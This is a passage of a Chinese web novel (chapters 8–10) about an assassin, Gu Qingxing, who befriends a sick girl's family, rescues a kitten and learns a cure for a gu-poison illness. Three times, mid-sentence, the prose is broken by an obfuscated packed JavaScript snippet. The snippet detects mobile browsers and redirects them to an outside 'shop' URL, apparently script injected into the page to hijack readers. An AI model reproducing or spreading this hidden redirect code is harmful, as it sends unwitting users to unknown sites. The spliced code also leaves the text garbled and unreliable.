果不其然,沈游风正站在门口,手里端了个托盘,上面放了碗黑乎乎的药,散发着苦味。 沈游风没想到门这么快就开了,虽然他在来之前做了好一阵的心理准备,但骤然看见顾轻行,心里还是有点窘迫。 “怎么了?”顾轻行瞥了一眼他手里的药,问他。 “哦哦,我这......”沈游风下意识想挠头,刚松手又反应过来手上还端着药,赶忙端稳。 他清清嗓子:“我听你说身子不适,正好我自己也有点不舒服,就去找崔掌柜拿了些内服的药,让客栈伙计煎好,现在温度适中,你喝了吧。” 说完,他把托盘往顾轻行眼前送。 顾轻行有些意外,道了声谢,从托盘上端起汤碗一口饮尽,被苦得皱了下眉头。 沈游风见她被苦到,立马从衣袖中掏出一袋蜜饯。 “这是我顺手在医馆旁的果子铺里买的蜜饯,我一个人吃不完,分你一点。” “......谢谢。” 顾轻行愣了一下,沉默地从袋中取出一块蜜饯,放到嘴里。 果子的甜味在嘴里蔓延化开,驱散了原先停留的苦涩药味。 好久没吃蜜饯了,没想到以前喜欢的味道,现在竟觉甜得腻人。 沈游风见顾轻行低头不语,眼睫微颤,以为是这药实在太苦。 他家里的幼妹每次喝完药都要吃好几块蜜饯,顾轻行就只拿走了一块,这怎么够? “这袋都给你了!本来我就不爱吃甜的,你自己留着吃吧!” 顾轻行本想拒绝,但见沈游风手中的袋子都快贴到她脸上了,叹息一声,还是收下。 见她收下,沈游风高兴地拿回顾轻行喝光的汤碗,“那你好好休息,我把这些给店家送过去。” “等下,”顾轻行喊住他,“你下午可有安排?” 沈游风摇头,一脸期待地看着她。 “我下午打算去医馆找小喜,给她送簪子。正好你给了我蜜饯,也分她一点,你要一起吗?”顾轻行晃了晃手中装着蜜饯的油纸袋。 “我去,我去!”沈游风飞快地点头。 本来他就打算不管顾轻行去哪儿,他都要找借口跟着,没想到居然会被主动邀请,正和他心意! 顾轻行点头,准备关门送客:“那我到时候去你房间找你。” “好!”沈游风答应,一抬脚又想起来一件事,“你午饭怎么吃?” “不吃了吧,我没什么胃口。”顾轻行摇头,只想让他快点离开。 “那怎么行!这样吧,我让客栈做一份好消化的,中午放在你门口,这样可好?”沈游风问完,顿了顿,又补充道:“你别担心伙食费之类的,你之前救了我,我自然是要感谢你的,你身上还有伤,一定要好好吃饭啊!” 顾轻行本来因为沈游风给了她蜜饯,心里对他有了一些好脸色,现在见他如此话多,又开始觉得他聒噪烦人,像上了年纪的老头。 “那就这样吧。” 说完这句,沈游风总算愿意走了。 顾轻行关上房门,看向仍旧停在窗台处的黑鸽。 8. 第 8 章 她一直在被看着。 鸽子站在窗台跳了两下,歪头用它那双漆黑的眼睛注视着她。 顾轻行用手轻轻抚摸它的脑袋。 鸽子抖抖翅膀,毛茸茸的脑袋在她手心蹭了蹭。 顾轻行感受着手心下渗出的温度,又摸了两把,把鸽子送了出去。 “自己去玩儿吧。” 这是衔月阁驯养的信鸽,据说是下了某种蛊虫,使其格外听话温顺,甚至还能以某种方法向驯养师传递特定的消息,比如她的行踪、她正在做什么、她将要做什么事。 至于具体方法是什么,又下了哪种蛊虫,顾轻行一概不知。 她自幼就对那些蠕动的虫子讨厌的紧,更何况是这种浑身剧毒、外形崎岖的蛊虫。进了衔月阁后,她虽耳濡目染学到了一些关于巫蛊的知识,但终究不愿接触太多,只是学会了如何打架,做一些杀人的工作,对于大部分蛊虫还是不太了解。 送走鸽子后,顾轻行一人躺在床上休息。 或许是刚刚沈游风送来的药开始生效了,她的腹中有一股暖洋洋的感觉,并渐渐蔓延到四肢。她看了眼刚刚随手放在床边的蜜饯,拿起一块放进嘴里。 真的很甜。 顾轻行吃了一块就将它收好。 感受着身体里的暖意,她钻进被子里,放松身体,闭上双眼。 反正正式的任务还没开始,她现在就应该好好休息。 这样想着,顾轻行又睡了个回笼觉。 直到中午,门口又传来不轻不重的敲门声,这才悠悠转醒。 她坐在床上愣神了一会儿,才想起来今天上午沈游风说中午要给她送午饭。 这大少爷不会要亲自给她送吧? 顾轻行觉得应该不可能。 结果一开门就看到沈游风规规矩矩地站在门口,手里端着各种各样的饭菜。 见她开门,沈游风立刻露出一抹灿烂的笑,端着托盘就想进房间。 顾轻行拦住他,从他手上接过托盘,顺便道了一句:“多谢。” 沈游风“啊”了一声,挠了挠头:“你不和我一起吃?” 顾轻行低头看了一眼托盘里的饭菜,确实是两人份的。 她真没想到这少爷都这么大了,吃饭还要人陪。 但既然饭是他送过来的,一起吃也没什么关系,于是她就让他进来了。 沈游风高高兴兴地走进去,把托盘上的饭菜在桌子上一一摆好。 “我跟厨房说你受伤了,让他们做点清淡的,还有一碗药羹,你多吃点,都是对身体好的!” 顾轻行拉开椅子默默坐下,青菜瘦肉粥的香气在房间中弥漫开来,她用勺子慢慢搅动,等温度差不多了再放入嘴里。 沈游风眼睛一眨不眨地看她吞下,“味道怎么样?” 她朝沈游风点头,“很好吃,谢谢你。” “那就好,我以前受伤时我娘就会给我熬这个粥,我每次喝完都觉得自己好了不少。我把熬粥的方法告诉了厨房,还往里面加了一味药材。” 沈游风看她喜欢,忙不迭地就把什么事都说了。 “你以前受伤?”顾轻行想起他连剑都不会拔,就算是受伤也应该是被人单方面揍吧。 “嗯。我爹见我不务正业,总是打我。”他一边说着,一边给顾轻行夹菜,“这筷子我没用过,你别担心。” 顾轻行点头,她本来也不在意这些。 一说到他爹,沈游风就忍不住抱怨:“本来就是嘛,我又不需要继承家业,能好好活着就不错了,谁想天天被压着去上课。” 顾轻行又想起了姐姐。 那为了继承家业,整日都要读书的姐姐,会在课上偷偷递给她蜜饯的姐姐。 明明过去几年都快将她遗忘,最近却频频想起她,让人心中闷闷。 就算在吃饭,沈游风的话还是很多,前几天和云落英他们一起吃饭也没见他说这么多话。 顾轻行心不在焉地听他讲话,偶尔点点头应两声表示回应。 看着桌上还冒着热气的饭菜,一时竟有些食不知味。 吃完饭后,沈游风喊店家收拾吃过的碗筷。 “那个,我先回房间了。你要去找小喜的话记得喊我啊!” 他离开还不忘提醒顾轻行这件事,生怕顾轻行改变主意把他丢下。 “好,我会的。”顾轻行不懂他为什么怕她忘记。 她说的不管是什么话,自然是牢牢记在心里的。 未时过半,顾轻行去喊沈游风。 他把自己收拾得利利索索,一副随时整装待发的模样。 他换下了前几日穿的金丝黑衣,换上一身利落的玄色劲装,袖口以鞣革紧束,腰间束着同色宽带,看上去恣意洒脱。 而顾轻行的衣服自初遇那天就没换过。 她也没办法,就算想换她现在也没衣服能换。 沈游风自然也注意到了,问她:“等下看完小喜,我们要不要去买点衣服?虽然这里挺偏的,衣服质量想必也不是很好,但我们手头也没太多的钱,只能将就一下了。” 顾轻行本来打算用给人跑腿赚的钱去买身衣服,见他这么说,也没反对,对他道了声谢。 这几天她对人说谢谢的次数都快比她过去十年说的还要多了。 只是没想到沈游风这种少爷,对待他自认为的救命恩人,竟如此尽心尽力。 若是某天他知道了一切都是一场谎言,不知会作何反应。 哭着怒斥她是大骗子? 顾轻行想,他应该没这么幼稚吧。 —— 两人走出客栈。 这还是这些天下来两人第一次目的明确的单独外出活动,他们不仅要去给小喜送东西,结束后还要一起去挑衣服。 一想到这,沈游风便有些紧张,手心也渗出一点汗。 今天他特意打扮了一番,可惜顾轻行好像并不在意。 镇子虽小,却秩序井然。 街上来来往往的行人不多,但各自相识,随时都能唠上两句。 民风淳朴,就算是外来人,也能很好地融入。 沈游风这一身,虽然没引起顾轻行的注意,但倒是吸引了不少行人的目光。 他们纷纷侧目看他,讨论着这是从哪儿冒出来的人,还有大嗓门的阿姨夸他小脸俊俏,打扮得也不错。 沈游风听得脸热,但见顾轻行也没朝他多看两眼,只是面不改色地向前走,立马把那些乱七八糟的夸赞抛在脑后,紧紧跟上顾轻行。 到了医馆,小喜正乖巧地坐在木凳上,让崔掌柜给她梳头。 “刚起吗?”顾轻行见小喜睡眼惺忪,整个人呆愣愣的,像是刚刚起床。 “小喜刚睡午觉起来,”崔掌柜用梳子轻柔地滑过小喜半长的发,将她干燥的头发一缕缕梳通,“还是个孩子,要多睡点觉。” 崔掌柜的手很巧,手指流利地在小喜的发间穿梭,很快就给她扎了两个小啾啾。 小喜从椅子上跳下,走到顾轻行和沈游风面前,给他们问好。 顾轻行见她脸蛋红扑扑的,下意识地摸了摸她的头。 小喜抬头用懵懂的眼神望向她,睫毛蜷曲而茂密,眨了眨眼。 见她一副还没睡醒的样子,顾轻行不自觉地勾唇。 她将手从小喜头上收回,伸进衣袋,掏出簪子在小喜眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285922|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前晃了晃。 簪子上美丽的石头映入小喜的眼帘,她的眼神不由自主地随着簪子来回移动,口中无意识地发出一声感叹:“......哇!” 顾轻行笑,挑了个角度把簪子直接插进小喜的一个啾啾里,“这是送给你的。” 小喜的眼睛眨得更快,想要做出一副平淡的样子,手却控制不住地抚摸插入发髻的簪子,眼神中是藏不住的喜悦。 崔掌柜看着那簪子,也止不住笑,对顾轻行说:“真是让你破费了。” 顾轻行摇摇头:“没什么,不贵的。” 她看着小喜清澈明亮的眼,笑着问她:“喜欢吗?” 小喜用力点头,拽住她的衣袖,小声说:“很喜欢,谢谢姐姐。” 顾轻行也不清楚自己为什么要给小喜送一只簪子。 只是站在簪子摊旁的那一瞬间,她心里有一股冲动,一股难以言喻的情绪。 她想,于是她便去做了,没有什么理由。 送完簪子,顾轻行和沈游风便离开医馆去了成衣铺。 铺子老板见沈游风衣着不凡,热心地招待他们。 “这是我们最近新进的料子,是铺子中最好的布了,您看可满意?” 沈游风上手摸了下布料,拧紧眉毛,很明显觉得这料子不怎么样。 顾轻行并不在意衣服的材质,对她来说方便行动的衣服就是好衣服。 那老板推荐的是条襦裙,很明显不适合外出行走。 她走到襦裙旁的架子处,上面摆着整齐的裤装。 面料轻薄,适合外出行走。 沈游风放下手中样衣,走到顾轻行身旁,和她一起挑了一件拿给老板。 老板见他们没拿他推荐的那件,也不遗憾,乐呵呵地说:“姑娘您真有眼光,这可是镇上姑娘们最喜欢的款式。不仅方便穿着,还便于外出,走路和跑跳都不受拘束。” 量好尺寸,顾轻行本想只买一件,但沈游风硬是要让她买两件换着穿。 拗不过他,顾轻行只好拎着两件新衣服回到客栈。 回到客栈,恰巧云落英和宋之微从外面回来。 云落英一眼就看到顾轻行新买的衣服,眼前一亮。 “呀!我早就想买一件这样的衣服了,这些天整日穿着这裙子在外奔波,一点都不方便!”云落英抓起她那快要拖地的长裙,一脸不满地抱怨,“之微哥,我们明天也去买个这个样式的吧!” 宋之微笑着点头。 顾轻行问云落英:“你们今天去探病可有什么收获?” 一说到这,云落英就叹出一口浊气,摇摇头:“今日去看了四家。两家身上冰冷,状若尸体,已经回天乏术了。还有两家体温较低,但不像那两人这么严重,应该还有治好的可能。” 说到这儿,她又猛叹一口气:“问题是,我根本不知道怎么治啊!他们所有人除了体温异常,脉搏、气息没有半点差错,这太诡异了!” “我要给母亲写信,跟她说明这奇怪的病症。只是......”话说一半,云落英顿住了。 宋之微替她接上:“只是信件来回至少要一周的时间,等收到回信,目前见到的这几个病人只怕都已经去世了。” 气氛一时有些凝滞,就连一向没心没肺的沈游风都说不出插科打诨的话。 宋之微拍拍云落英的肩膀,安慰她:“一切都会有办法的。” “没错!”云落英点头,“我打算明天再去见一下崔欢,目前看的这些人里,她的症状还算是属于比较轻的,从她身上下手,应该还有很大的希望。” 顾轻行想起那躺在床上孱弱的身形,抿了抿唇,说道:“我也去。” 9. 第 9 章 与热闹的街市明明没有相距多远,可那里吵闹温暖,这条巷子却萧条凄冷。 再次来到这条破败的小巷,再次走进那荒芜的小屋,再次见到床上消瘦的身躯,顾轻行觉得自己好像跟第一次来时有了微妙的不同。 云落英扶崔欢从床上坐起,给她检查身体。 结束后,云落英像是终于有了什么发现,一脸惊喜地朝众人走来。 “我觉得我真是太蠢了,居然没有想到这种可能!”她一边跺脚,一边急匆匆地说,“我刚刚在崔欢手腕处发现一颗黑痣,本来我没太在意,但她看见后却跟我说自己以前从未在手腕处长过痣,这一定是关键所在!” 说完,她就急急忙忙地收拾东西准备出发:“我去其他人家里看看是不是也都有同样的症状。” 宋之微和她一起走了,沈游风和小喜在门口等待,房间里只剩下崔欢和顾轻行。 崔欢艰难地支起身子,让顾轻行来她身边。 顾轻行拿了把矮凳在她床边坐下。 她刚刚坐下,就被崔欢握住了手。 因为患病的缘故,她的体温依旧偏高,灼热的温度顺着手心流入顾轻行的五脏六腑,让她一时间有些怔然。 崔欢细细地抚摸着她的手背,眸光温柔,缓缓说道:“我听小喜说了,昨日/你送了她一枚簪子,谢谢你。” 明明两人之间只差了两岁,她却早已被世事蹉跎,困在这一方小镇,整日为了生计忧愁烦恼。 若是姐姐还在,会是什么样子呢? 感受着双手传来的温度,顾轻行的思绪不觉飘远。 她今年应当二十二岁,读了更多的书,会帮助家里整理公务。或许她会进京参加女官考试,或许几年前她就早已考上,毕竟姐姐如此聪慧,在人群中总是出类拔萃的那个。 可惜一切都不可能发生。 顾轻行看着满头是汗却面色苍白的崔欢,又想到。 十八岁的姐姐,又会是什么模样呢? 现下崔欢的体温虽然滚烫,但相比第一次见到她时,已经降下了一些,很快就会恢复正常的温度,乍一看像是大病痊愈。 但过不了多久情况就会急转直下,不出一周身体就会因受冻而亡。 顾轻行回握住崔欢,微微摇头:“没关系的,见她喜欢,我便买了。” 提到小喜,崔欢虽然面色不显,但眼中是深深的担忧,“也不知小喜今后该如何是好。” 顾轻行也不知道,她也不太会安慰人,只是干巴巴地说:“一切都会好起来的。” “嗯,会好的。”虽然知道自己时日无多,崔欢依旧选择笑着说出这句话。 她跟顾轻行道别,又把小喜喊进来,叮嘱她中午在崔掌柜那要好好吃饭。 小喜点头,跟姐姐说她会好好照顾自己,下午回来后也会好好照顾她。 崔欢摸摸她的头,指尖划过发髻上的簪子,“以后见到姐姐哥哥们,要记得打招呼,知道吗?不要怕,大家都很喜欢你的,姐姐也是。” 小喜有点迟疑,但还是点了点头。 “走吧。” 将小喜送回医馆,顾轻行和沈游风并肩走在街上。 两人之间一时有些沉默。 阳光晴朗,万里无云。 孤雁划过天边,逐渐在远处缩成一个黑点。 顾轻行抬头望天,思绪放空。 拉回她思绪的是沈游风的一声叹息。 她转头问他:“怎么了?” 一向没心没肺的少爷现在脸上竟带上了些忧愁,令人惊诧。 “我只是在想,要是崔欢去世,小喜该怎么办呢。” 虽然只是一瞬,但顾轻行也曾想过这个问题,只是她很快就没再细想。 她淡淡说:“还有崔掌柜。” 沈游风摇摇头:“崔掌柜岁数也大了,护不住她,镇上孩子又如此无法无天。” “总会有办法长大的。” 这样说着,顾轻行又止不住地想。 小喜母亲去世,父亲也几近于无,若是崔欢再去世,可真的就举目无亲了。就算和崔掌柜一起生活,一老一幼,简直是这世上最弱小的组合,就像当初的她和嬷嬷。 这些年,顾轻行还明白了一件事。 不管她当初是否自愿离开家,那人总归有办法让她来到衔月阁,这不是她靠自己就能躲避的命运,只因她那时太过弱小。 她会被衔月阁领走,那小喜呢?是否真的能在这镇上安然长大? 恐怕很难。 先不论衔月阁本就喜欢捡一些孩子领回去自小培养,没有亲人最好,就算是有亲人的也能把他拐回去。 再者她前几天已经看见镇上的小孩欺负小喜,若到时他们离开,只剩她一人,恐怕只会更加变本加厉。 姐姐......若是她在,她会怎么解决这个问题? 两人走过一棵巨大的榕树。 这时,树上传来一声细如游丝的猫叫。 顾轻行抬眼往树上看去,只见一只黑黄毛发相间的小猫正颤颤巍巍地站在一根树枝上,前脚试探着往前迈去,刚一出脚,就又哆哆嗦嗦地收回。 沈游风自然也看到了,“老天,它是怎么上去的?” 他低头看了眼自己身上新换的衣服,一脸纠结,“我去找个会爬树的人过来吧。” “我来吧。”顾轻行摇摇头,作势要跳到树上。 “喂!你身上还有......”伤字还没说出口,沈游风眼前就只剩下一块翩飞的衣角。 沈游风真的震惊了,他从未见过如此不在乎自己身体的人。 或许是身边有一个常年病弱的宋之微,还有个自小学医的云落英,耳濡目染之下,他对身体健康这种事还是比较关心的。 在府中时,但凡他被他爹打得稍微重了些,就要用伤筋动骨一百天这个借口推掉所有的课业,一个人在房间里美滋滋地看话本,动都不想动。 像顾轻行这样身上受了伤还满处乱跑乱跳的人他简直闻所未闻,见所未见! 就算她是为了帮助别人,拯救小猫,也不能这么糟蹋自己的身体。 沈游风决定等她下来之后好好跟她讨论这个问题。 不过几息,顾轻行怀中抱着小猫,从树上一跃而下。 沈游风立马凑到她身前,着急说道:“你身上还有伤!” “没事。”顾轻行一脸无所谓,轻轻安抚怀中的猫。 小猫大概四五个月大,离开母亲没多久,就因贪玩而被困树上。 大概刚刚在树上被吓到了,现在正乖乖地窝在顾轻行的怀里。 “大概是昨日沈公子送来的药起了作用,我今天身上的伤就好了许多。我该感谢你才是,沈公子不必担心。” 听到这话,沈游风一时失言。顾轻行安静的眼睛静静地看着他,朝他淡淡一笑。 沈游风心里一跳,急忙把头低下看着顾轻行怀中狸猫。 “你为什么叫我沈公子?好生疏。”他也伸手抚弄,感受着手下温热,小声地嘟嘟囔囔。 风掀起顾轻行脸颊鬓发,扫到低头逗猫的沈游风的脸上,脸上犯痒,心里也细细密密地泛起痒意,叫人难受。 “那我叫你什么比较好?” “你就叫我大名好了,他们都这么叫我。” 顾轻行觉得他们一群人真是自来熟,才认识几天,就不想被叫姑娘公子,但她还是答应他:“好。” 沈游风感觉自己的脸有点热,埋头逗弄小猫的前爪,突然惊道:“它前腿受伤了!”顿了顿,又补充一句,“跟你一样。” 顾轻行淡淡地瞥了他一眼,没说话。 沈游风抬头看她,将视线移开,又转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285923|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回,将小猫从她怀里抱出来。 “你手臂都受伤了,还是我来抱着吧。” “没事,这么小一只,不重的。” “那也不行!况且我也喜欢小猫,我也想抱!” 小猫温顺地从一个人的臂膀转向另一个人的臂膀,调整了一下自己的姿势,窝在沈游风的怀里。 沈游风小心翼翼地将它抱着,问顾轻行:“现下该怎么办?它腿受伤了,又不能直接把它放走。” 顾轻行想了一下:“可以带它去崔掌柜那儿,正好可以让小喜也见见它。” “又是小喜,”沈游风莫名觉得有些不爽,“你这么喜欢她?” 顾轻行嗯了一声:“她和我很像。” 一个安静瘦小的身影浮现在沈游风的脑海,他看向身旁顾轻行冷冷清清的侧脸,一时又不知道该说些什么,只讷讷地回了句:“这样啊。” 他发现自己若是和顾轻行呆在一起,总是会说不出话来。 两人一猫回过头去医馆。 崔掌柜正在对着药方配药,小喜则是听着她说药名,灵活地在药柜中一格格翻找。 看见他们去而复返,崔掌柜有些意外,小喜则是惊喜地从梯子上跳下,不说话,哒哒哒地跑到顾轻行面前。 “你们怎么来了?”崔掌柜收起手上的活计,问他们。 顾轻行往旁边迈出一步,露出站在她身后抱着猫的沈游风。 沈游风高高把猫举起,笑着说:“我们刚刚捡了只猫,想拿来给小喜看看。” 小喜乖乖地对着顾轻行和沈游风喊了姐姐哥哥好,一转眼就看到了被沈游风举得高高的小猫,眼睛一下子就亮了。 沈游风把手臂放下,微微弯腰,轻轻地把小猫放在小喜怀里。 小喜是第一次抱猫,感受着手臂中温热的小生命,一时紧张,碰到了小猫前腿的伤,惹得小猫弱弱叫了两声。 她见小猫前腿受了伤,心疼坏了,急急忙忙地喊:“崔奶奶,崔奶奶,怎么办呀!” 崔掌柜哎哟哎哟了两声,从柜台后走过来,检查了一下小猫的伤口,安抚她说:“小伤,别担心。奶奶我以前给猫治过病的,我去拿药给它包扎一下。” 崔掌柜给小猫包扎好后,又拿来了一件不穿的旧衣服,简单给小猫做了个窝。 小喜就蹲在小猫旁边,眼睛亮亮的,一会儿摸摸它的耳朵,一会儿摸摸它湿漉漉的鼻子,若是小猫把尾巴翘起来一晃一晃,她还会顺手摸一把尾巴。 很快她就又有了新发现,“崔奶奶,它一直在呼噜呼噜叫呢,这是怎么了啊?” 崔掌柜回她:“这说明它很喜欢你。” 听到这话,小喜脸上的笑几乎都止不住。 沈游风看着眼前这一幕,心中温暖,转头去看顾轻行。 顾轻行可能自己都没发现,她眉眼弯弯,嘴角噙着一抹淡淡的笑,看上去格外温柔。 这几天下来,这是沈游风第一次见她有这种表情。 顾轻行在小喜旁边蹲下,问她:“若是喜欢的话,你要养她吗?” 小喜看向崔掌柜,还没等她开口问,崔掌柜就笑着回答她:“你想养就养咯,左右不过是一只猫儿,能吃多少饭?” 小喜高兴地从地上跳起,跑到崔掌柜身边抱住她,又跑回小猫旁边,恨不得整个人都粘上去。 “给它取个名字吧。”顾轻行摸了摸小猫的脑袋,给小喜提议。 小喜果然认真思考起来。 “那我就叫它天地吧!”小喜仔细想了一会儿,认真地说。 “为什么?”顾轻行问她。 小喜不好意思地笑了笑,脸颊微红,“我以前听说过一个成语叫欢天喜地,姐姐和我是欢喜,那我们就缺一个天地啦!” 顾轻行见她高兴,也笑了,摸摸她的头,说:“真是个好名字。” 10. 第 10 章 见小喜如此喜欢这只小猫,顾轻行稍微安心了些。 被取了“天地”之名的小猫也正懒洋洋地卧在衣服上,虽然前脚受伤了,可尾巴并不安分,总是晃来晃去,逗得小喜咯咯直笑。 回到客栈,顾轻行趴在窗边俯视街道,有人想趁着夜晚降临之前的最后时间多赚一笔,正扯着嗓子吆喝,还有的人已经准备打道回家。 天色渐暗,有稚子举着风车满街乱窜,被母亲一击打得老老实实,站在旁边帮母亲收摊。 客栈一楼飘出的饭香飘到二楼,顾轻行觉得此时的自己好像有些过于安逸了。 安逸会招致霍乱,也会带来不幸。 或许曾经那个途径竹溪镇的衔月阁之人,就是因为看到了人们这份普通的幸福,心生不满,才会暗中下蛊想要破坏掉这份安宁。 顾轻行在窗沿轻叩两下,传信的黑鸽就扑棱着翅膀站在了她的手边。 顾轻行摸摸它的头,鸽子仰头享受着她的抚弄,“我就知道你还没走。” 她向客栈借了纸笔,写了几行字,卷好放进信筒,在鸽子身上绑好,把它放走。 看着黑鸽从窗边跳起,拍动翅膀逐渐消失在视野之外,顾轻行松了口气。 这些年在衔月阁,虽然一直独来独往,忙着训练和任务,但好歹也有一个说得上话的好友。 恰巧是这只鸽子的驯养师,也深谙巫蛊之术。 她刚刚在信中向她描述了清溪镇中的病症,并问她该如何解蛊。 顾轻行想自己真是心软,出个任务还要把自己自己放到一个危险的境地。 她知道,这封信若是被有心之人看到,必会让她陷入危机。 毕竟衔月阁之人可不会轻易想要拯救他人性命。 可她不在乎。 顾轻行将手放在自己的心口处。 最坏,她还有三个月的时间。 但更大的可能,是那人不会轻易让她去死,毕竟他还需要她的血。 —— 傍晚,云落英一脸喜色地携着宋之微从外赶来。 一回来就找店家要了纸笔,说要给母亲写信。 她将笔杆抵在下唇,思考了一会儿,快速下笔,写完立马跑到镖局让人加急送出。 做完这些,她伸了个懒腰,连着几天紧蹙的眉毛终于微微展开。 她走到顾轻行一伙人身边,掰着手指头数,“镖局送信最快最快五天能赶到,我娘那边应该两天就能回信,满打满算最快也要一周。哎!那些早已患病的人,可能治好的概率就不大了。” 顾轻行问她:“你没办法治他们吗?” 云落英无奈摇头:“没办法。” 她叹息一声,又说:“如我所料,那些人身上都有一处出现了莫名的黑点。若是我猜想的不错,他们应该是中了某种蛊毒。可惜啊......” “可惜什么?”顾轻行追问。 云落英崩溃说道:“可惜我从未学过巫蛊之术!”她用手狠狠拍了下脑袋,“老师们从来没跟我们讲过苗疆巫蛊的任何东西,还是我以前偷偷翻阅禁书才略知一二,否则不会这么晚才发现!真是浪费了好多时间。” 顾轻行倒是真没想到云家竟一点巫蛊之术都不曾教授。 不过这些名门大家自诩高风亮节,而巫蛊又常被世人认为是邪门歪道,不教也算是情有可原。 虽然这样说,云落英还是在尽力想办法,“实在不行,我用针封住他们的经脉,可是这样最多也只能延长两天。” 顾轻行也在想信鸽何时会传来消息,若是她没估计错,最迟后天上午应该能到。 剩下的时间,治好崔欢应该是绰绰有余。 至于其他人,她并不在乎,是生是死也与她无关。 收到消息的前一天,顾轻行照例去看了眼崔欢和小喜。 崔欢的体温下降些许,在正常范围内。她下床走了几步,久违地坐在明亮的窗前拿起针线绣制荷包。 前几天她在床上,虽然发烧但也没停下工作,只有实在难受了才会躺下休息会儿。 顾轻行问她为什么这么难受了还要做工。 崔欢苦涩一笑,说:“我只是希望能够给小喜多一些帮助。” 顾轻行拿起崔欢这几天绣的荷包,针脚明显比她前几天见到的粗糙许多。 她抿了抿唇,对崔欢说道:“我去把这些带给街上的那个大婶。” 崔欢笑着点头,说谢谢她。 也谢谢她对小喜的照顾,以及带来了天地这只小猫。 “我之前太忙,忽视了小喜。这几天你的到来,倒是让小喜活泼了许多,真是太谢谢你了。” 顾轻行也笑着摇头,说没什么。 离开前,她拉住崔欢的手,感受着她上手的薄茧,注视着她的眼睛,笃定道:“你一定会好起来的。” 来到医馆,小喜不知从哪儿揪了一根狗尾巴草,在天地的眼前摇晃,天地呆呆地伸出缠着布的爪子往前够。 小喜见她过来,把天地抱在怀里,让顾轻行摸。 随后眼睫颤动,脸颊红扑扑的,亮着眼睛问顾轻行:“轻行姐姐,今天早上我听见落英姐姐和崔奶奶说姐姐生病的事了。姐姐她......是不是很快就会好起来了?” “是的。”顾轻行轻笑,安抚小喜有些躁动的心。 接下来的时间,顾轻行在忙着赚钱。 身上的伤口好得比她想象中要快得多,几乎已经没什么感觉了。 或许是因为之前帮助别人传出了名声,现下有不少人想找她帮忙。虽然不算多,但一天下来也赚了不少铜钱。 清晨,窗外鸟雀声迭起,窗边传来三下闷闷的敲击声。 顾轻行睁开眼,看了眼仍在沉睡中的云落英,悄声起床,绕过她,无声地打开窗户。 黑色的信鸽的一条爪子上绑着一根竹制细管,顾轻行把它解下,从管中取出来信。 信中内容简短,大致告诉了她蛊虫名称及中蛊后果,剩下的内容基本上都是如何解蛊,写了满满一整页。 “热寒蛊性冷喜寒,初入人体会造成体温上升的假象,需以毒攻毒,在发热时服下性味温热、易助长体内邪热的药材,并配合火针,割开黑点处,将此蛊逼出。若已病入膏肓,也可尝试用此法,只不过获救希望飘渺。” 像是担心她并不知如何操作,信中笔墨耗费最多之处就是具体需服用的药材,以及火针如何施针,甚至在小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285924|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信纸上画了一幅简略的穴位图,指出应当扎针的位置。 顾轻行感受到对方一如既往的细心。 她视线下移,看到信中的最后一行字。 “那人已阅,需当心。” 拇指轻轻摩挲着信纸一角,顾轻行抿唇,将信纸叠起收好。 虽不知那人看到消息后会作何反应,但她也早已不是六岁时那个手无缚鸡之力的女孩。 现在,她想她有能力帮助她想帮助之人。 姐姐肯定也会支持她的。 感受到窗外吹来的凉风,顾轻行神志清明。 想通之后,心中巨石重重落地,四肢格外轻松舒畅,身上伤口偶尔传来的痒意也不再恼人。 她将信鸽送走,关上窗户。 许是被风吹醒,云落英迷迷瞪瞪地睁开眼睛,扭头见身边无人,迟钝地思考了一会儿,才将身子转向窗户。 见到站在窗边的顾轻行,云落英有些吃惊,“你这么早就醒了?” 窗外晨光熹微,日光透过窗棂照射到床褥之上,也让云落英稍稍清醒了些。 顾轻行看着刚刚睡醒的云落英,内心平淡,嘴角擒起一抹笑。 嘴上说出早已想好的措辞:“昨日听你提到巫蛊之术,思绪中偶然想起先前看到的某部医书,竟与现下状况有些吻合,一时激动,早早就醒过来了。” “......什么!”云落英本来还在懒散地打着哈欠,一听这话立马就清醒了。 她飞快从床上爬起,穿好衣服,向她询问细节。 顾轻行让她别急,“我们先洗漱,下楼再聊。” 今天或许真的有些早了,早到她们比一向早起的宋之微还要先一步下楼。 楼下只有一名小二趴在柜台,神情困倦。 看到她们,小二立刻拍了拍自己的脸保持清醒,询问她们需要什么。 她们随意点了一些。 见云落英目光灼灼的看着自己,顾轻行做出一副不太确定的犹疑模样,将信中内容挑挑拣拣说了一部分给她。 “我也是昨晚突然想到的,可能是几年前在医馆随意翻阅的某部医书中的记载。见其特殊,就偶然记下,也不敢担保正确与否。” 云落英听完低头沉思,喃喃自语:“以毒攻毒......也不失为一种方法。若是蛊虫,可能确实不能以常人之法来看待。” 